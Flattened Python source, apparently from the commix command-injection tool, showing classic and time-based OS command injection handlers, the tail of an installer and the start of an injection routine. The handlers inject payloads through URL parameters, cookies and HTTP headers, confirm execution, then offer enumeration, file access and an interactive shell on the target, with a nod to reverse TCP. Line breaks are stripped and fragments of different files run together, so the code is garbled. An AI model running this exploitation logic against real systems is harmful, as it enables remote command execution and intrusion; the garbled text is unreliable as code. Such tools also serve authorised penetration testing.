settings.APPLICATION + "' to launch it." print(settings.print_success_msg(success_msg)) else: print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") err_msg = "The installer is not designed for any other system other than Linux. " err_msg += "Please install manually: " + packages + dependencies print(settings.print_critical_msg(err_msg)) print("") raise SystemExit() # eof
def cb_injection_handler(url, timesec, filename, http_request_method): shell = False counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print("") i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == " ": whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): try: settings.CLASSIC_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision(separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print(settings.print_info_msg(info_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = cb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = cb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) response = cb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results(response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print("") else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : success_msg += " " + http_request_method + "" success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_success_msg(success_msg)) print(settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) #print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options() and not menu.options.os_cmd and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " # sys.stdout.write(settings.print_question_msg(question_msg)) # file_access_again = sys.stdin.readline().replace("\n","").lower() file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " # sys.stdout.write(settings.print_question_msg(question_msg)) # gotshell = sys.stdin.readline().replace("\n","").lower() gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. time.sleep(timesec) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) except: print("") continue if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: html_parser = _html_parser.HTMLParser() shell = html_parser.unescape(shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) if shell != "": print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else : sys.stdout.write("\r") sys.stdout.flush()
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "blind OS command injection" technique = "time-based command injection technique" if settings.VERBOSITY_LEVEL != 0: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print(settings.print_warning_msg(warn_msg)) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.TIME_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, timesec, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) how_long = tb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5]) ) == 1: if max(xrange( len(how_long_statistic) ), key=lambda x: how_long_statistic[ x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = _input( settings. print_question_msg( question_msg)) else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower( ) in settings.CHOICE_PROCEED: if proceed_option.lower( ) == "s": false_positive_fixation = False raise elif proceed_option.lower( ) == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower( ) == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print( settings. print_error_msg( err_msg)) pass if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(1, 10) randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " %2B " + str( randv2) + "" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str( randvcalc) and len( TAG ) == output_length: possibly_vulnerable = True how_long_statistic = 0 if settings.VERBOSITY_LEVEL == 0: percent = settings.info_msg else: percent = "" else: break # False positive else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if str(float_percent) == "100.0": if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() else: percent = "" else: percent = ".. (" + str( float_percent) + "%)" print(settings.SPACE) # Print logs notification message logs.logs_notification(filename) #raise else: percent = ".. (" + str( float_percent) + "%)" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print(settings.SPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print( settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print(settings.SPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print(settings.SPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print( settings.print_error_msg(err_msg)) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print(settings.SPACE) tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) print(settings.SPACE) logs.print_logs_notification(filename, url) raise SystemExit() if not new_line: print(settings.SPACE) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg( question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print(settings.SPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print( "\n" ) + settings.print_output( output) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, output) print(settings.SPACE) except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print( settings.print_error_msg( err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass break if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) return False else: sys.stdout.write("\r") sys.stdout.flush()
def injection_proccess(url, check_parameter, http_request_method, filename, timesec): if menu.options.ignore_code: info_msg = "Ignoring '" + str( menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: if skip_tech_name in menu.options.skip_tech: menu.options.tech = menu.options.tech.replace( skip_tech_name, "") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." print(settings.print_critical_msg(err_msg)) raise SystemExit # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter" check_parameter = " '" + check_parameter + "'" # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, timesec) # Load modules modules_handler.load_modules(url, http_request_method, filename) if not settings.LOAD_SESSION: if (len(menu.options.tech) == 0 or "e" in menu.options.tech): # Check for identified warnings url = heuristic_basic(url, http_request_method) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: while True: if not menu.options.batch: question_msg = "Skipping of further command injection tests is recommended. " question_msg += "Do you agree? [Y/n] > " procced_option = _input( settings.print_question_msg(question_msg)) else: procced_option = "" if procced_option in settings.CHOICE_YES or len( procced_option) == 0: settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True break elif procced_option in settings.CHOICE_NO: break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." 